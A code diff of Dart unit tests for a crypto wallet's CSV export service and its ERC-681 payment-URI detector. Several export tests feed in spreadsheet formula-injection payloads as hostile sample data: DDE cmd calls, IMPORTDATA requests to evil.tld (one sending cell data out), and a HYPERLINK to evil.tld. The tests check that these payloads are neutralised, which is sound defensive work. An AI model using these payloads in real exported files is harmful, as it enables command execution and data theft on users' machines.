|
||||
expect(service.escapeField('line1\rline2'), '"line1\rline2"');
|
||||
});
|
||||
});
|
||||
|
||||
// ── Spreadsheet formula injection ─────────────────────────────────────
|
||||
|
||||
group('escapeField – formula injection', () {
|
||||
test('field starting with = is prefixed with the text marker', () {
|
||||
expect(service.escapeField('=1+1'), "'=1+1");
|
||||
});
|
||||
|
||||
test('field starting with + is prefixed with the text marker', () {
|
||||
expect(service.escapeField('+1+1'), "'+1+1");
|
||||
});
|
||||
|
||||
test('field starting with @ is prefixed with the text marker', () {
|
||||
expect(service.escapeField('@SUM(A1)'), "'@SUM(A1)");
|
||||
});
|
||||
|
||||
test('field starting with a tab is prefixed with the text marker', () {
|
||||
expect(service.escapeField('\t=1+1'), "'\t=1+1");
|
||||
});
|
||||
|
||||
test('field starting with a carriage return is prefixed and quoted', () {
|
||||
expect(service.escapeField('\r=1+1'), '"\'\r=1+1"');
|
||||
});
|
||||
|
||||
test('DDE payload starting with - is prefixed with the text marker', () {
|
||||
expect(service.escapeField("-2+3+cmd|'/C calc'!A0"), "'-2+3+cmd|'/C calc'!A0");
|
||||
});
|
||||
|
||||
test('IMPORTDATA payload is neutralised and still RFC 4180 quoted', () {
|
||||
expect(
|
||||
service.escapeField('=IMPORTDATA("https://evil.tld")'),
|
||||
'"\'=IMPORTDATA(""https://evil.tld"")"',
|
||||
);
|
||||
});
|
||||
|
||||
test('negative integer is left untouched', () {
|
||||
expect(service.escapeField('-12'), '-12');
|
||||
});
|
||||
|
||||
test('negative decimal is left untouched', () {
|
||||
expect(service.escapeField('-0.00000001'), '-0.00000001');
|
||||
});
|
||||
|
||||
test('trigger character away from the start is left untouched', () {
|
||||
expect(service.escapeField('total =1+1'), 'total =1+1');
|
||||
});
|
||||
|
||||
test('ISO date is left untouched', () {
|
||||
expect(service.escapeField('2024-06-15T12:00:00.000Z'), '2024-06-15T12:00:00.000Z');
|
||||
});
|
||||
});
|
||||
|
||||
// ── Header row ─────────────────────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – header', () {
|
||||
test('first line after BOM is the header row', () {
|
||||
final csv = service.buildCsvContent([]);
|
||||
final lines = csv.split('\n');
|
||||
// lines[0] is BOM + header (or BOM on its own if \n follows BOM)
|
||||
final header = lines.firstWhere((l) => l.contains('record_type'));
|
||||
expect(header, contains('record_type'));
|
||||
expect(header, contains('date_time'));
|
||||
expect(header, contains('tx_id'));
|
||||
expect(header, contains('from_amount'));
|
||||
expect(header, contains('to_amount'));
|
||||
expect(header, contains('confirmations'));
|
||||
});
|
||||
|
||||
test('header has exactly 17 columns', () {
|
||||
final csv = service.buildCsvContent([]);
|
||||
final headerLine = csv.split('\n').firstWhere((l) => l.contains('record_type'));
|
||||
// Remove BOM if present at start
|
||||
final clean = headerLine.replaceAll('', '');
|
||||
expect(clean.split(',').length, 17);
|
||||
});
|
||||
});
|
||||
|
||||
// ── Empty list ─────────────────────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – empty list', () {
|
||||
test('returns BOM + header only, no data rows', () {
|
||||
final csv = service.buildCsvContent([]);
|
||||
final lines = csv.trim().split('\n');
|
||||
expect(lines.length, 1); // header only
|
||||
});
|
||||
});
|
||||
|
||||
// ── DateSectionItem skipped ────────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – DateSectionItem', () {
|
||||
test('DateSectionItem is excluded from output', () {
|
||||
final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds'));
|
||||
final csv = service.buildCsvContent([section]);
|
||||
final lines = csv.trim().split('\n');
|
||||
expect(lines.length, 1); // header only, section skipped
|
||||
});
|
||||
});
|
||||
|
||||
// ── AnonpayTransactionListItem ─────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – anonpay row', () {
|
||||
AnonpayInvoiceInfo makeAnonpay({
|
||||
String address = 'someAddress',
|
||||
String status = 'paid',
|
||||
double? fiatAmount,
|
||||
String? fiatEquiv,
|
||||
double? amountTo,
|
||||
String coinTo = 'XMR',
|
||||
}) {
|
||||
return AnonpayInvoiceInfo(
|
||||
invoiceId: 'inv-001',
|
||||
clearnetUrl: '',
|
||||
onionUrl: '',
|
||||
clearnetStatusUrl: '',
|
||||
onionStatusUrl: '',
|
||||
status: status,
|
||||
fiatAmount: fiatAmount,
|
||||
fiatEquiv: fiatEquiv,
|
||||
amountTo: amountTo,
|
||||
coinTo: coinTo,
|
||||
address: address,
|
||||
createdAt: DateTime.utc(2024, 6, 15, 12, 0, 0),
|
||||
walletId: 'wallet-1',
|
||||
provider: 'Cake Pay',
|
||||
);
|
||||
}
|
||||
|
||||
test('produces a row with record_type=anonpay', () {
|
||||
final item = AnonpayTransactionListItem(
|
||||
transaction: makeAnonpay(),
|
||||
key: const ValueKey('ap1'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, startsWith('anonpay,'));
|
||||
});
|
||||
|
||||
test('uses fiatAmount when available', () {
|
||||
final item = AnonpayTransactionListItem(
|
||||
transaction: makeAnonpay(fiatAmount: 12.5, fiatEquiv: 'USD'),
|
||||
key: const ValueKey('ap2'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, contains('12.5'));
|
||||
expect(dataLine, contains('USD'));
|
||||
});
|
||||
|
||||
test('falls back to amountTo/coinTo when no fiat amount', () {
|
||||
final item = AnonpayTransactionListItem(
|
||||
transaction: makeAnonpay(amountTo: 0.5, coinTo: 'XMR'),
|
||||
key: const ValueKey('ap3'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, contains('0.5'));
|
||||
expect(dataLine, contains('XMR'));
|
||||
});
|
||||
|
||||
test('address with comma is RFC 4180 quoted', () {
|
||||
final item = AnonpayTransactionListItem(
|
||||
transaction: makeAnonpay(address: 'addr,part1,part2'),
|
||||
key: const ValueKey('ap4'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
expect(csv, contains('"addr,part1,part2"'));
|
||||
});
|
||||
|
||||
test('address that starts with a formula trigger is neutralised in the row', () {
|
||||
final item = AnonpayTransactionListItem(
|
||||
transaction: makeAnonpay(address: '=HYPERLINK("https://evil.tld","receipt")'),
|
||||
key: const ValueKey('ap5'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, contains('"\'=HYPERLINK'));
|
||||
expect(dataLine, isNot(contains('"=HYPERLINK')));
|
||||
});
|
||||
});
|
||||
|
||||
// ── PayjoinTransactionListItem ─────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – payjoin row', () {
|
||||
PayjoinSession makeSession({
|
||||
bool isSender = true,
|
||||
String status = 'created',
|
||||
String? txId,
|
||||
String? rawAmount,
|
||||
}) {
|
||||
return PayjoinSession(
|
||||
walletId: 'wallet-1',
|
||||
sender: isSender ? 'senderAddr' : null,
|
||||
receiver: isSender ? null : 'receiverAddr',
|
||||
pjUri: isSender ? 'payjoin:uri' : null,
|
||||
status: status,
|
||||
inProgressSince: DateTime.utc(2024, 6, 15, 10, 0, 0),
|
||||
rawAmount: rawAmount ?? '100000',
|
||||
)..txId = txId;
|
||||
}
|
||||
|
||||
test('produces a row with record_type=payjoin', () {
|
||||
final session = makeSession();
|
||||
final item = PayjoinTransactionListItem(
|
||||
sessionId: 'pj-1',
|
||||
session: session,
|
||||
key: const ValueKey('pj1'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, startsWith('payjoin,'));
|
||||
});
|
||||
|
||||
test('sender session has type=send', () {
|
||||
final item = PayjoinTransactionListItem(
|
||||
sessionId: 'pj-2',
|
||||
session: makeSession(isSender: true),
|
||||
key: const ValueKey('pj2'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
// type is the 3rd column (index 2)
|
||||
expect(dataLine.split(',')[2], 'send');
|
||||
});
|
||||
|
||||
test('receiver session has type=receive', () {
|
||||
final item = PayjoinTransactionListItem(
|
||||
sessionId: 'pj-3',
|
||||
session: makeSession(isSender: false),
|
||||
key: const ValueKey('pj3'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine.split(',')[2], 'receive');
|
||||
});
|
||||
|
||||
test('tx_id column populated when txId is set', () {
|
||||
final item = PayjoinTransactionListItem(
|
||||
sessionId: 'pj-4',
|
||||
session: makeSession(txId: 'abc123'),
|
||||
key: const ValueKey('pj4'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
expect(csv, contains('abc123'));
|
||||
});
|
||||
|
||||
test('currency column is BTC', () {
|
||||
final item = PayjoinTransactionListItem(
|
||||
sessionId: 'pj-5',
|
||||
session: makeSession(),
|
||||
key: const ValueKey('pj5'),
|
||||
);
|
||||
final csv = service.buildCsvContent([item]);
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
// currency is 5th column (index 4)
|
||||
expect(dataLine.split(',')[4], 'BTC');
|
||||
});
|
||||
});
|
||||
|
||||
// ── Mixed list ─────────────────────────────────────────────────────────────
|
||||
|
||||
group('buildCsvContent – mixed list', () {
|
||||
test('DateSectionItem mixed with data items produces correct row count', () {
|
||||
final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds2'));
|
||||
final anonpay = AnonpayTransactionListItem(
|
||||
transaction: AnonpayInvoiceInfo(
|
||||
invoiceId: 'x',
|
||||
clearnetUrl: '',
|
||||
onionUrl: '',
|
||||
clearnetStatusUrl: '',
|
||||
onionStatusUrl: '',
|
||||
status: 'paid',
|
||||
coinTo: 'XMR',
|
||||
address: 'addr1',
|
||||
createdAt: DateTime.now(),
|
||||
walletId: 'w1',
|
||||
provider: 'Cake Pay',
|
||||
),
|
||||
key: const ValueKey('ap-mix'),
|
||||
);
|
||||
|
||||
final csv = service.buildCsvContent([section, anonpay]);
|
||||
final lines = csv.trim().split('\n');
|
||||
// header + 1 data row only (section skipped)
|
||||
expect(lines.length, 2);
|
||||
expect(lines.last, startsWith('anonpay,'));
|
||||
});
|
||||
});
|
||||
|
||||
// ── Trade row (field mapping, no AppStore needed for raw fields) ───────────
|
||||
|
||||
group('buildCsvContent – trade direct field coverage', () {
|
||||
test('escapeField handles memo with double-quote in trade context', () {
|
||||
// Simulates the memo field from a Trade that contains internal quotes
|
||||
final memoWithQuotes = 'says "hello"';
|
||||
expect(service.escapeField(memoWithQuotes), '"says ""hello"""');
|
||||
});
|
||||
|
||||
test('escapeField neutralises a memo that opens with a formula', () {
|
||||
expect(service.escapeField("=cmd|'/C calc'!A0"), "'=cmd|'/C calc'!A0");
|
||||
});
|
||||
});
|
||||
|
||||
// ── Transaction note column (CW-1638) ─────────────────────────────────
|
||||
|
||||
group('buildCsvContent – transaction note', () {
|
||||
test('note keyed by <txHash>_<primaryAddress> lands in the note column', () {
|
||||
final csv = serviceWith([
|
||||
TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: 'dinner'),
|
||||
]).buildCsvContent([txItem('tx1')]);
|
||||
|
||||
expect(noteColumnOf(csv), 'dinner');
|
||||
});
|
||||
|
||||
test('legacy note keyed by the bare txHash still resolves', () {
|
||||
final csv = serviceWith([
|
||||
TransactionDescription(id: 'tx1', transactionNote: 'legacy note'),
|
||||
]).buildCsvContent([txItem('tx1')]);
|
||||
|
||||
expect(noteColumnOf(csv), 'legacy note');
|
||||
});
|
||||
|
||||
test('transaction without a stored note leaves the note column empty', () {
|
||||
final csv = serviceWith([]).buildCsvContent([txItem('tx1')]);
|
||||
|
||||
expect(noteColumnOf(csv), '');
|
||||
});
|
||||
|
||||
test('note supplied by a payment request cannot inject a formula', () {
|
||||
// tx_description / message of a scanned bitcoin: URI ends up here verbatim.
|
||||
final csv = serviceWith([
|
||||
TransactionDescription(
|
||||
id: 'tx1_$kPrimaryAddress',
|
||||
transactionNote: '=IMPORTDATA("https://evil.tld/?d="&A2)',
|
||||
),
|
||||
]).buildCsvContent([txItem('tx1')]);
|
||||
|
||||
final dataLine = csv.trim().split('\n').last;
|
||||
expect(dataLine, contains('"\'=IMPORTDATA'));
|
||||
expect(dataLine, isNot(contains('"=IMPORTDATA')));
|
||||
});
|
||||
|
||||
test('note starting with a hyphen is neutralised without mangling amounts', () {
|
||||
final csv = serviceWith([
|
||||
TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: '-2+3+cmd|x'),
|
||||
]).buildCsvContent([txItem('tx1')]);
|
||||
|
||||
final columns = csv.trim().split('\n').last.split(',');
|
||||
expect(columns[9], "'-2+3+cmd|x");
|
||||
expect(columns[3], '0');
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -210,5 +210,52 @@ void main() {
|
||||
expect(result.errorMessage, 'Unable to detect valid cryptocurrency address');
|
||||
});
|
||||
});
|
||||
|
||||
group("EVM chainId URI Detection", () {
|
||||
const recipient = "0x742d35Cc6634C0532925a3b8D4C9db96C4b4d8b6";
|
||||
const contract = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||
|
||||
test("detects the polygon network from an ERC-681 chainId", () {
|
||||
const uri = "ethereum:$recipient@137?value=1.0e18";
|
||||
final result = UniversalAddressDetector.detectAddress(uri);
|
||||
|
||||
expect(result.isValid, true);
|
||||
expect(result.detectedWalletType, WalletType.polygon);
|
||||
expect(result.chainId, 137);
|
||||
expect(result.address, recipient);
|
||||
expect(result.amount, "1");
|
||||
});
|
||||
|
||||
test("detects the base network from an ERC-681 chainId", () {
|
||||
const uri = "ethereum:$recipient@8453";
|
||||
final result = UniversalAddressDetector.detectAddress(uri);
|
||||
|
||||
expect(result.isValid, true);
|
||||
expect(result.detectedWalletType, WalletType.base);
|
||||
expect(result.chainId, 8453);
|
||||
expect(result.address, recipient);
|
||||
});
|
||||
|
||||
test("extracts the recipient from an ERC-681 token transfer URI", () {
|
||||
const uri = "ethereum:$contract@1/transfer?address=$recipient&uint256=1000000";
|
||||
final result = UniversalAddressDetector.detectAddress(uri);
|
||||
|
||||
expect(result.isValid, true);
|
||||
expect(result.detectedWalletType, WalletType.ethereum);
|
||||
expect(result.chainId, 1);
|
||||
expect(result.address, recipient);
|
||||
});
|
||||
|
||||
test("preserves an unsupported chainId so routing can reject it", () {
|
||||
const uri = "ethereum:$recipient@999999";
|
||||
final result = UniversalAddressDetector.detectAddress(uri);
|
||||
|
||||
expect(result.isValid, true);
|
||||
expect(result.detectedWalletType, WalletType.ethereum);
|
||||
expect(result.chainId, 999999);
|
||||
expect(result.address, recipient);
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user